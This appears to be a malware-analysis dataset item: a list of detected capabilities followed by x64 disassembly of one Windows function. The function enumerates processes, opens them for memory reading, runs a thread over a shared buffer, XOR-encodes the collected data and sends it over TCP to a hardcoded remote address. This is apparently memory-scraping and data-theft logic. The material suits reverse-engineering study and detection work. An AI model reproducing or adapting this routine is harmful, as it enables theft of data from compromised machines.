Function at 0x4017da
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Enumerate processes
Initialize winsock library
Send data
Send data on socket
Terminate thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x17708c
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
cmp rax, 0
jne 0x401825
sub rsp, 0x20
mov rcx, 0x64
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
jmp 0x4017de
mov rsi, rax
sub rsp, 0x20
lea rcx, [rsi + 0x1b0]
jmp 0x401a61
lea rdx, [0x00401838]
call qword [sym.imp.kernel32.dll_lstrcpyA]
add rsp, 0x20
add rax, 0x7d004
mov qword [rsi + 0x5c8], rax
add rax, 0x7d004
mov qword [rsi + 0x5d0], rax
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
add rsp, 0x20
mov dword [rsi], 0x130
sub rsp, 0x20
mov rcx, 0xf
mov rdx, 0
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
add rsp, 0x20
mov qword [rsi + 0x5b0], rax
sub rsp, 0x20
mov rcx, qword [rsi + 0x5b0]
lea rdx, [rsi]
call qword [sym.imp.kernel32.dll_Process32First]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rsi + 0x5b0]
lea rdx, [rsi]
call qword [sym.imp.kernel32.dll_Process32Next]
add rsp, 0x20
test rax, rax
je 0x401f08
call qword [sym.imp.kernel32.dll_GetCurrentProcessId]
cmp rax, qword [rsi + 8]
jne 0x401b11
jmp 0x401ae2
xor rbx, rbx
sub rsp, 0x20
lea rcx, [rsi + 0x2c]
call qword [sym.imp.kernel32.dll_lstrlenA]
add rsp, 0x20
cmp rbx, rax
jae 0x401b43
cmp byte [rsi + rbx + 0x2c], 0x41
jb 0x401b3e
cmp byte [rsi + rbx + 0x2c], 0x5a
ja 0x401b3e
add byte [rsi + rbx + 0x2c], 0x20
inc rbx
jmp 0x401b14
cmp dword [rsi + 0x2c], 0x76726573
jne 0x401b57
cmp dword [rsi + 0x30], 0x73656369
jne 0x401b57
jmp 0x401ae2
xor rbx, rbx
lea r14, [rsi + 0x1b0]
sub rsp, 0x20
mov rcx, r14
call qword [sym.imp.kernel32.dll_lstrlenA]
add rsp, 0x20
cmp rbx, rax
jae 0x401b94
mov edx, dword [rsi + 0x2c]
mov cx, word [rsi + 0x30]
cmp dword [r14 + rbx], edx
jne 0x401b8e
cmp word [r14 + rbx + 4], cx
jne 0x401b8e
jmp 0x401b99
add rbx, 6
jmp 0x401b5a
jmp 0x401ae2
sub rsp, 0x20
mov rcx, 0x410
mov rdx, 0
mov r8, qword [rsi + 8]
call qword [sym.imp.kernel32.dll_OpenProcess]
add rsp, 0x20
mov qword [rsi + 0x5b8], rax
cmp rax, 0
je 0x401f03
sub rsp, 0x20
mov rcx, qword [rsi + 0x5c8]
mov rdx, 0x7d000
call qword [sym.imp.kernel32.dll_RtlZeroMemory]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rsi + 0x5d0]
mov rdx, 0x7d000
call qword [sym.imp.kernel32.dll_RtlZeroMemory]
add rsp, 0x20
mov rax, qword [rsi + 0x5d0]
add rax, 0
mov rbx, qword [rsi + 0x5b8]
mov qword [rax], rbx
add rax, 8
mov rbx, qword [rsi + 0x5c8]
mov qword [rax], rbx
add rax, 8
lea rbx, [rsi + 0x2c]
sub rsp, 0x20
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.kernel32.dll_lstrcpyA]
add rsp, 0x20
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
mov r8, 0x401093
mov r9, qword [rsi + 0x5d0]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
mov qword [rsi + 0x5c0], rax
cmp qword [rsi + 0x5c0], 0
jne 0x401c93
jmp 0x401ae2
sub rsp, 0x20
mov rcx, qword [rsi + 0x5c0]
mov rdx, 0x2bf20
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rsi + 0x5c0]
mov rdx, 0
call qword [sym.imp.kernel32.dll_TerminateThread]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rsi + 0x5c0]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rsi + 0x5b8]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
mov rax, qword [rsi + 0x5d0]
add rax, 0x400
cmp dword [rax], 0
jbe 0x401f03
sub rsp, 0x20
mov rcx, 0x202
lea rdx, [rsi + 0x5f0]
call qword [sym.imp.wsock32.dll_WSAStartup]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.wsock32.dll_socket]
add rsp, 0x20
mov qword [rsi + 0x5d8], rax
mov dword [rsi + 0x5e4], 0x1ae8c55b
mov word [rsi + 0x5e2], 0x6b45
mov word [rsi + 0x5e0], 2
mov rax, qword [rsi + 0x5d0]
mov eax, dword [rax]
mov rbx, qword [rsi + 0x5d0]
add rbx, 0x3fc
mov dword [rbx], eax
mov rbx, qword [rsi + 0x5d0]
add rbx, 0x400
add rbx, 0x20000
mov dword [rbx], 0
mov rbx, qword [rsi + 0x5d0]
add rbx, 0x400
sub rsp, 0x20
mov rcx, rbx
call qword [sym.imp.kernel32.dll_lstrlenA]
add rsp, 0x20
add rbx, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, pe_nt_image_headers64
call qword [sym.imp.kernel32.dll_RtlZeroMemory]
add rsp, 0x20
mov rbx, qword [rsi + 0x5d0]
add rbx, 0x400
sub rsp, 0x20
mov rcx, rbx
call qword [sym.imp.kernel32.dll_lstrlenA]
add rsp, 0x20
mov rbx, qword [rsi + 0x5d0]
add rbx, 0x3f8
mov dword [rbx], eax
xor rbx, rbx
mov rdx, qword [rsi + 0x5d0]
mov edx, dword [rdx]
mov rcx, qword [rsi + 0x5d0]
add rcx, 0x3f8
mov rax, qword [rsi + 0x5d0]
add rax, 0x400
cmp ebx, dword [rcx]
jae 0x401e44
xor dword [rax + rbx], edx
xor dword [rax + rbx], 0x8a3defca
add ebx, 4
jmp 0x401e16
sub rsp, 0x20
mov rcx, qword [rsi + 0x5d8]
lea rdx, [rsi + 0x5e0]
mov r8, 0x10
call qword [sym.imp.wsock32.dll_connect]
add rsp, 0x20
cmp eax, 0xffffffff
jne 0x401e6e
jmp 0x401ee0
xor rbx, rbx
mov rdi, qword [rsi + 0x5d0]
add rdi, 0x3f8
mov rbx, qword [rdi]
add rbx, 8
cmp ebx, 0x100
jbe 0x401e95
mov eax, 0x100
jmp 0x401e97
mov eax, ebx
sub rsp, 0x20
mov rcx, qword [rsi + 0x5d8]
mov rdx, rdi
mov r8d, eax
mov r9, 0
call qword [sym.imp.wsock32.dll_send]
add rsp, 0x20
cmp eax, 0xffffffff
jne 0x401ec0
jmp 0x401ee0
sub ebx, eax
add edi, eax
cmp ebx, 0
jbe 0x401ecb
jmp 0x401e86
sub rsp, 0x20
mov rcx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rsi + 0x5d8]
call qword [sym.imp.wsock32.dll_closesocket]
add rsp, 0x20
sub rsp, 0x20
call qword [sym.imp.wsock32.dll_WSACleanup]
add rsp, 0x20
jmp 0x401ae2
sub rsp, 0x20
mov rcx, qword [rsi + 0x5b0]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x64
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
jmp 0x401a8c